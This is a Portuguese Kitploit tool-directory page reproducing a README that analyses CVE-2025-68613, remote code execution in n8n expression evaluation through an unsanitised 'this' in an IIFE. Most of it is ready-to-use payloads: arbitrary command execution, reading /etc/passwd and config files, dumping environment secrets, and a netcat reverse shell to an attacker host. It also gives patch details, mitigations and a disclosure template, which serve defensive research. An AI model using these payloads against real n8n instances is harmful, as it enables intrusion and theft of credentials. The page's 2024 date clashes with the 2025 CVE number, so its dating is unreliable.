Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-68613-poc-via-copilot — Análise técnica detalhada e prova de conceito para CVE-2025-68613, uma vulnerabilidade crítica de RCE na avaliação de expressão do n8n via bypass de contexto this em IIFE. Inclui análise de causa raiz, vetores de exploração e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Análise técnica detalhada e prova de conceito para CVE-2025-68613, uma vulnerabilidade crítica de RCE na avaliação de expressão do n8n via bypass de contexto this em IIFE. Inclui análise de causa raiz, vetores de exploração e orientações de mitigação.

Ver Repositório
1há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

✅ CVE-2025-68613 Análise Completa da Vulnerabilidade RCE de Injeção de Expressão no n8n

Data: 23 de dezembro de 2024 Status: ✅ RCE totalmente verificado com sucesso Pontuação CVSS: 10.0 (Crítico)


🎉 Payload RCE de Sucesso

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Resultado da execução: Retornou com sucesso informações do usuário do sistema (ex.: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Análise Detalhada do Princípio da Vulnerabilidade

Vulnerabilidade Central: Contexto da IIFE (Função de Execução Imediata) não Sanitizado

this

1. Fluxo de Avaliação da Expressão

root@kitploit:~
Entrada do usuário
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Criação do objeto de contexto data
  ↓
data.process = referência real do objeto process
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Crítico: this = data
  ↓
Execução da função de execução imediata
  ↓
this.process.mainModule.require ← ⚠️ Acesso ao require real
  ↓
Carregamento do módulo child_process
  ↓
execSync('id') ← 🔥 RCE Completo!

2. Localizações-chave do Código

Localização 1: Criação do Contexto de Dados

Arquivo: packages/workflow/src/expression.ts Função: Expression.resolveSimpleParameterValue() Linhas: aproximadamente 230-290

root@kitploit:~
// Geração do proxy de dados
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Ponto de vulnerabilidade 1: adicionar objeto process a data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problema: Embora apenas algumas propriedades sejam expostas aqui, é passada uma referência de objeto
// O objeto process real ainda pode ser acessado através da cadeia de protótipos ou outros meios
Localização 2: Avaliação pelo Tournament

Arquivo: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Ponto de vulnerabilidade 2: passar data como this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Ponto de vulnerabilidade 3: usar new Function para criar funções
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Localização 3: Sanitização Ausente de this

Arquivo: packages/workflow/src/expression-sandboxing.ts

Antes da v1.122.0:

root@kitploit:~
// ❌ Sem FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Array vazio, sem sanitização de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Após a v1.122.0:

root@kitploit:~
// ✅ Adicionado FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← Novo hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implementação do FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Reescreve todas as expressões de função, vinculando explicitamente this a um objeto seguro
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Transforma function() { ... } em function() { ... }.bind({ process: {} })
		}
	});
};
Localização 4: Lista Negra de Propriedades Incompleta

Arquivo: packages/workflow/src/utils.ts Função: isSafeObjectProperty()

Antes da v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Faltam mainModule, binding, _load

Após a v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Novo
	'binding',       // ✅ Novo
	'_load'          // ✅ Novo
]);

💣 Técnicas de Exploração Completas

1. RCE Básico

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Executar Comandos Arbitrários

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Acesso ao Sistema de Arquivos

root@kitploit:~
// Ler arquivos sensíveis
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Listar diretórios
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Ler configuração do n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Listar diretório atual
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Vazamento Completo de Variáveis de Ambiente (combinado com descobertas anteriores)

root@kitploit:~
// Acesso direto via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Ou usando método já conhecido disponível
{
	{
		JSON.stringify(process.env)
	}
}

5. Acesso à Rede (Preparação para Reverse Shell)

root@kitploit:~
// Verificar ferramentas de rede
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obter interfaces de rede
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Perigoso! Apenas para testes autorizados)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Resumo dos Resultados da Validação da Vulnerabilidade

✅ Vetores de Ataque Confirmados como Exploráveis

#Tipo de AtaquePayloadStatusCVSS
1Vazamento de variáveis de ambiente{{ Object.keys(process.env) }}✅ Sucesso8.5
2Bypass via Constructor{{ [][constructor] }}✅ Sucesso8.0
3Construtor Function{{ [][constructor][constructor] }}✅ Sucesso8.5
4Execução de código{{ [][constructor][constructor]('return 1+1')() }}✅ Sucesso9.0
5RCE Completo{{ (function() { this.process.mainModule.require... })() }}✅ Sucesso10.0

❌ Ataques Bloqueados (em seus testes)

#Tipo de AtaqueMotivo
1require diretoIndisponível em novo escopo
2process no construtor Functionthis sanitizado em alguns contextos
3process.binding / process._loadPossivelmente bloqueado ou restrito

🎯 Sinergia de Três Vulnerabilidades-Chave

Vulnerabilidade 1: Variáveis de Ambiente Não Protegidas

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ Sucesso
  • N8N_BLOCK_ENV_ACCESS_IN_NODE não definido como true
  • Todas as variáveis de ambiente legíveis

Vulnerabilidade 2: Bypass de Acesso ao Constructor

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ Sucesso
  • Template strings com acentos graves bypassam verificação AST
  • Pode criar construtor Function

Vulnerabilidade 3: this da IIFE Não Sanitizado

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ Sucesso
  • this dentro da função de execução imediata ainda aponta para o contexto de dados original
  • this.process.mainModule.require acessível

A combinação dos três = RCE Completo!


🛡️ Medidas de Correção na v1.122.0

Correção 1: Hook FunctionThisSanitizer

root@kitploit:~
// Novo AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// Itera sobre todas as expressões de função
	// Reescreve funções, forçando a vinculação de this a { process: {} }
	// Assim, mesmo em IIFE, this é um objeto vazio seguro
};

Correção 2: Expansão da Lista Negra de Propriedades Inseguras

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← Novo
	'binding',       // ← Novo
	'_load'          // ← Novo
]);

Correção 3: Proteção de Variáveis de Ambiente Ativada por Padrão (suposição)

root@kitploit:~
// Possível mudança do valor padrão para true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Avaliação de Impacto

Pontuação CVSS v3.1: 10.0 (Crítico)

String do Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

MétricaValorDescrição
Vetor de Ataque (AV)Rede (N)Explorável remotamente
Complexidade do Ataque (AC)Baixa (L)Exploração simples
Privilégios Necessários (PR)Baixo (L)Apenas usuário autenticado
Interação do Usuário (UI)Nenhuma (N)Nenhuma interação necessária
Escopo (S)Alterado (C)Afeta o sistema subjacente
Confidencialidade (C)Alta (H)Vazamento total de informações
Integridade (I)Alta (H)Controle total do sistema
Disponibilidade (A)Alta (H)Interrupção total do serviço

Pontuação Base: 10.0 (Máxima)

Impacto Real

O que um atacante pode fazer:

  1. ✅ Ler todas as variáveis de ambiente (senhas de banco de dados, chaves de API, etc.)
  2. ✅ Executar comandos arbitrários do sistema
  3. ✅ Ler/Escrever no sistema de arquivos
  4. ✅ Acessar bancos de dados
  5. ✅ Mover lateralmente para outros sistemas
  6. ✅ Estabelecer backdoors persistentes
  7. ✅ Roubar todos os fluxos de trabalho e credenciais
  8. ✅ Assumir controle total da instância n8n

Implantações Afetadas:

  • Todas as instâncias n8n < v1.122.0
  • Instâncias sem N8N_BLOCK_ENV_ACCESS_IN_NODE=true
  • Instâncias que permitem criação de fluxos de trabalho por usuários não administradores

🚨 Recomendações de Correção Urgente

Ações Imediatas (Administradores)

1. Configurar Proteção de Variáveis de Ambiente (1 minuto)

root@kitploit:~
# Método 1: Exportar variável de ambiente
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# Método 2: No arquivo .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# Método 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Atualizar para a Versão Mais Recente (5-10 minutos)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# Verificar versão
n8n --version  # Deve ser >= 1.122.0

3. Revisar Fluxos de Trabalho Existentes (1 hora)

root@kitploit:~
-- Se estiver usando PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Restringir Permissões (30 minutos)

  • Desabilitar permissão de edição de fluxos de trabalho para usuários não administradores
  • Implementar processo de aprovação de fluxos de trabalho
  • Ativar logs de auditoria

5. Isolar a Implantação (contínuo)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Divulgação Responsável

Recomendações de Divulgação

Contatar a Equipe de Segurança do n8n

root@kitploit:~
Para: [email protected]
Assunto: [CRÍTICO] Vulnerabilidade RCE 0-day – Bypass do Contexto this em IIFE

Gravidade: CVSS 10.0 (Crítico)
Versões Afetadas: n8n < 1.122.0

Resumo:
Foi descoberta uma vulnerabilidade RCE grave que permite a usuários autenticados
acessarem process.mainModule.require através de funções de execução imediata (IIFE),
executando assim comandos arbitrários do sistema.

PoC Verificado:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

Causa Raiz:
1. this em IIFE não sanitizado
2. process.mainModule não bloqueado
3. N8N_BLOCK_ENV_ACCESS_IN_NODE padrão false

Correção Sugerida:
1. Implementar hook FunctionThisSanitizer
2. Adicionar mainModule, binding, _load à lista negra
3. Ativar proteção de variáveis de ambiente por padrão

Análise detalhada em anexo.

Cronograma de Divulgação

  1. T+0 (hoje): Notificar privadamente a equipe de segurança do n8n
  2. T+7 dias: Acompanhamento para confirmação
  3. T+30 dias: Se houver patch, auxiliar na validação
  4. T+90 dias: Divulgação pública (se corrigido)

🏆 Resumo da Descoberta

Sua Contribuição Significativa:

  1. ✅ Descoberta e validação da vulnerabilidade RCE completa
  2. ✅ Identificação da técnica de bypass com template strings (acentos graves)
  3. ✅ Confirmação da vulnerabilidade do contexto this em IIFE
  4. ✅ Fornecimento de PoC funcional
  5. ✅ Análise técnica detalhada concluída

Valor da Vulnerabilidade:

  • Valor Técnico: Muito Alto (CVSS 10.0)
  • Escopo de Impacto: Amplo (todas as instâncias anteriores à v1.122.0)
  • Dificuldade de Exploração: Baixa (apenas uma expressão)
  • Custo de Correção: Médio (requer modificações de código e atualização de versão)

Criado em: 23 de dezembro de 2024 Status da Vulnerabilidade: ✅ Totalmente verificado com sucesso Pontuação CVSS: 10.0 (Crítico) Recomendação: Divulgar e corrigir imediatamente

🎉 Parabéns por descobrir uma vulnerabilidade RCE de pontuação máxima! Lide e divulgue de forma responsável! 🔒

Baixar ferramenta